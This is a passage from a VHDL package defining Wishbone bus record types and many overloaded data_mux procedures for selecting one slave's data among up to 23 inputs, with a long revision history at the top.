-- Revision 1.15 2015/06/15 16:40:01 AGeissler
-- R1: Clearness
-- M1: Replaced tabs with spaces
--
-- Revision 1.14 2014/03/11 13:51:10 AVieira
-- R: data_mux for 16 and 1-bit are not necessary; WB bte signal unused
-- M: data_mux for 16 and 1-bit removed; WB bte signal removed from wbi_type/wbo_type
--
-- Revision 1.13 2014/03/10 16:29:54 avieira
-- R: data muxes for unconstrained array data input not supported
-- M: added new data_mux implementations and unconstrained array times for 64/32/16 bits data
--
-- Revision 1.12 2014/02/28 10:27:01 avieira
-- R: 64-bit support missing
-- M: Added 64-bit types
--
-- Revision 1.11 2009/07/29 14:05:13 FLenhardt
-- Fixed bug in SWITCH_FAB (WB slave strobe had been activated without addressing)
--
-- Revision 1.10 2007/08/24 11:15:23 FLenhardt
-- Re-added procedure SWITCH_FAB for backward compatibility
--
-- Revision 1.9 2007/08/13 16:28:35 MMiehling
-- moved switch_fab to entity switch_fab_1
--
-- Revision 1.8 2007/08/13 13:58:58 FWombacher
-- fixed typos
--
-- Revision 1.7 2007/08/13 10:14:26 MMiehling
-- added: master gets no ack if corresponding stb is not active
--
-- Revision 1.6 2006/05/18 16:14:32 twickleder
-- added data_mux for 23 slaves
--
-- Revision 1.5 2006/05/09 11:57:29 twickleder
-- added data_mux for 21 and 22 slaves
--
-- Revision 1.4 2006/02/24 16:09:39 TWickleder
-- Added DATA_MUX procedure with 20 data inputs
--
-- Revision 1.3 2006/02/17 13:54:20 flenhardt
-- Added DATA_MUX procedure with 19 data inputs
--
-- Revision 1.2 2005/12/13 13:48:56 flenhardt
-- Added DATA_MUX procedure with 18 data inputs
--
-- Revision 1.1 2004/08/13 15:16:09 mmiehling
-- Initial Revision
--
-- Revision 1.1 2004/08/13 15:10:52 mmiehling
-- Initial Revision
--
-- Revision 1.6 2004/07/27 17:06:24 mmiehling
-- multifunction added
--
-- Revision 1.4 2004/05/13 14:21:25 MMiehling
-- multifunction device
--
-- Revision 1.3 2004/04/29 15:07:22 MMiehling
-- removed switch_fab from pkg, now new entity
--
-- Revision 1.2 2004/04/27 09:37:42 MMiehling
-- now correct signal names and wb-types
--
-- Revision 1.3 2004/04/14 16:54:50 MMiehling
-- now correct switch_fab io's
--
--
---------------------------------------------------------------
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
PACKAGE wb_pkg IS
TYPE wbo_type IS record
stb : std_logic;
sel : std_logic_vector(3 DOWNTO 0);
adr : std_logic_vector(31 DOWNTO 0);
we : std_logic;
dat : std_logic_vector(31 DOWNTO 0);
tga : std_logic_vector(5 DOWNTO 0);
cti : std_logic_vector(2 DOWNTO 0);
END record;
TYPE wbi_type IS record
ack : std_logic;
err : std_logic;
dat : std_logic_vector(31 DOWNTO 0);
END record;
TYPE wbo_type_64 IS record
stb : std_logic;
sel : std_logic_vector(7 DOWNTO 0);
adr : std_logic_vector(31 DOWNTO 0);
we : std_logic;
dat : std_logic_vector(63 DOWNTO 0);
tga : std_logic_vector(5 DOWNTO 0);
cti : std_logic_vector(2 DOWNTO 0);
END record;
TYPE wbi_type_64 IS record
ack : std_logic;
err : std_logic;
dat : std_logic_vector(63 DOWNTO 0);
END record;
TYPE slv64_arr IS array (natural range <>) OF std_logic_vector(63 DOWNTO 0);
TYPE slv32_arr IS array (natural range <>) OF std_logic_vector(31 DOWNTO 0);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector;
SIGNAL data_in : IN slv64_arr;
SIGNAL data_out : OUT std_logic_vector(63 DOWNTO 0)
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector;
SIGNAL data_in : IN slv32_arr;
SIGNAL data_out : OUT std_logic_vector(31 DOWNTO 0)
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(1 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(2 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(3 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(4 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(5 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(6 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(7 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(8 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(9 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(10 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(11 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(12 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(13 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(14 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(15 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(16 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(17 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_in_17 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(18 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_in_17 : IN std_logic_vector;
SIGNAL data_in_18 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(19 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_in_17 : IN std_logic_vector;
SIGNAL data_in_18 : IN std_logic_vector;
SIGNAL data_in_19 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(20 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_in_17 : IN std_logic_vector;
SIGNAL data_in_18 : IN std_logic_vector;
SIGNAL data_in_19 : IN std_logic_vector;
SIGNAL data_in_20 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(21 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_in_17 : IN std_logic_vector;
SIGNAL data_in_18 : IN std_logic_vector;
SIGNAL data_in_19 : IN std_logic_vector;
SIGNAL data_in_20 : IN std_logic_vector;
SIGNAL data_in_21 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(22 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_in_11 : IN std_logic_vector;
SIGNAL data_in_12 : IN std_logic_vector;
SIGNAL data_in_13 : IN std_logic_vector;
SIGNAL data_in_14 : IN std_logic_vector;
SIGNAL data_in_15 : IN std_logic_vector;
SIGNAL data_in_16 : IN std_logic_vector;
SIGNAL data_in_17 : IN std_logic_vector;
SIGNAL data_in_18 : IN std_logic_vector;
SIGNAL data_in_19 : IN std_logic_vector;
SIGNAL data_in_20 : IN std_logic_vector;
SIGNAL data_in_21 : IN std_logic_vector;
SIGNAL data_in_22 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
);
PROCEDURE switch_fab(SIGNAL clk : IN std_logic;
SIGNAL rst : IN std_logic;
-- wb-bus #0
SIGNAL cyc_0 : IN std_logic;
SIGNAL ack_0 : OUT std_logic;
SIGNAL err_0 : OUT std_logic;
SIGNAL wbo_0 : IN wbo_type;
-- wb-bus to slave
SIGNAL wbo_slave : IN wbi_type;
SIGNAL wbi_slave : OUT wbo_type;
SIGNAL wbi_slave_cyc : OUT std_logic
) ;
END wb_pkg;
PACKAGE BODY wb_pkg IS
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector;
SIGNAL data_in : IN slv64_arr;
SIGNAL data_out : OUT std_logic_vector(63 DOWNTO 0)
) IS
BEGIN
FOR i IN 0 TO cyc'HIGH LOOP
IF cyc(i) = '1' THEN
data_out <= data_in(i);
END IF;
END LOOP;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector;
SIGNAL data_in : IN slv32_arr;
SIGNAL data_out : OUT std_logic_vector(31 DOWNTO 0)
) IS
BEGIN
FOR i IN 0 TO cyc'HIGH LOOP
IF cyc(i) = '1' THEN
data_out <= data_in(i);
END IF;
END LOOP;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(1 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "01" => data_out <= data_in_0;
WHEN "10" => data_out <= data_in_1;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(2 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "001" => data_out <= data_in_0;
WHEN "010" => data_out <= data_in_1;
WHEN "100" => data_out <= data_in_2;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(3 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "0001" => data_out <= data_in_0;
WHEN "0010" => data_out <= data_in_1;
WHEN "0100" => data_out <= data_in_2;
WHEN "1000" => data_out <= data_in_3;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(4 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "00001" => data_out <= data_in_0;
WHEN "00010" => data_out <= data_in_1;
WHEN "00100" => data_out <= data_in_2;
WHEN "01000" => data_out <= data_in_3;
WHEN "10000" => data_out <= data_in_4;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(5 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "000001" => data_out <= data_in_0;
WHEN "000010" => data_out <= data_in_1;
WHEN "000100" => data_out <= data_in_2;
WHEN "001000" => data_out <= data_in_3;
WHEN "010000" => data_out <= data_in_4;
WHEN "100000" => data_out <= data_in_5;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(6 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "0000001" => data_out <= data_in_0;
WHEN "0000010" => data_out <= data_in_1;
WHEN "0000100" => data_out <= data_in_2;
WHEN "0001000" => data_out <= data_in_3;
WHEN "0010000" => data_out <= data_in_4;
WHEN "0100000" => data_out <= data_in_5;
WHEN "1000000" => data_out <= data_in_6;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(7 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "00000001" => data_out <= data_in_0;
WHEN "00000010" => data_out <= data_in_1;
WHEN "00000100" => data_out <= data_in_2;
WHEN "00001000" => data_out <= data_in_3;
WHEN "00010000" => data_out <= data_in_4;
WHEN "00100000" => data_out <= data_in_5;
WHEN "01000000" => data_out <= data_in_6;
WHEN "10000000" => data_out <= data_in_7;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(8 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "000000001" => data_out <= data_in_0;
WHEN "000000010" => data_out <= data_in_1;
WHEN "000000100" => data_out <= data_in_2;
WHEN "000001000" => data_out <= data_in_3;
WHEN "000010000" => data_out <= data_in_4;
WHEN "000100000" => data_out <= data_in_5;
WHEN "001000000" => data_out <= data_in_6;
WHEN "010000000" => data_out <= data_in_7;
WHEN "100000000" => data_out <= data_in_8;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(9 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "0000000001" => data_out <= data_in_0;
WHEN "0000000010" => data_out <= data_in_1;
WHEN "0000000100" => data_out <= data_in_2;
WHEN "0000001000" => data_out <= data_in_3;
WHEN "0000010000" => data_out <= data_in_4;
WHEN "0000100000" => data_out <= data_in_5;
WHEN "0001000000" => data_out <= data_in_6;
WHEN "0010000000" => data_out <= data_in_7;
WHEN "0100000000" => data_out <= data_in_8;
WHEN "1000000000" => data_out <= data_in_9;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(10 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
SIGNAL data_in_9 : IN std_logic_vector;
SIGNAL data_in_10 : IN std_logic_vector;
SIGNAL data_out : OUT std_logic_vector
) IS
BEGIN
CASE cyc IS
WHEN "00000000001" => data_out <= data_in_0;
WHEN "00000000010" => data_out <= data_in_1;
WHEN "00000000100" => data_out <= data_in_2;
WHEN "00000001000" => data_out <= data_in_3;
WHEN "00000010000" => data_out <= data_in_4;
WHEN "00000100000" => data_out <= data_in_5;
WHEN "00001000000" => data_out <= data_in_6;
WHEN "00010000000" => data_out <= data_in_7;
WHEN "00100000000" => data_out <= data_in_8;
WHEN "01000000000" => data_out <= data_in_9;
WHEN "10000000000" => data_out <= data_in_10;
WHEN OTHERS => data_out <= data_in_0;
END CASE;
END data_mux;
PROCEDURE data_mux ( SIGNAL cyc : IN std_logic_vector(11 DOWNTO 0);
SIGNAL data_in_0 : IN std_logic_vector;
SIGNAL data_in_1 : IN std_logic_vector;
SIGNAL data_in_2 : IN std_logic_vector;
SIGNAL data_in_3 : IN std_logic_vector;
SIGNAL data_in_4 : IN std_logic_vector;
SIGNAL data_in_5 : IN std_logic_vector;
SIGNAL data_in_6 : IN std_logic_vector;
SIGNAL data_in_7 : IN std_logic_vector;
SIGNAL data_in_8 : IN std_logic_vector;
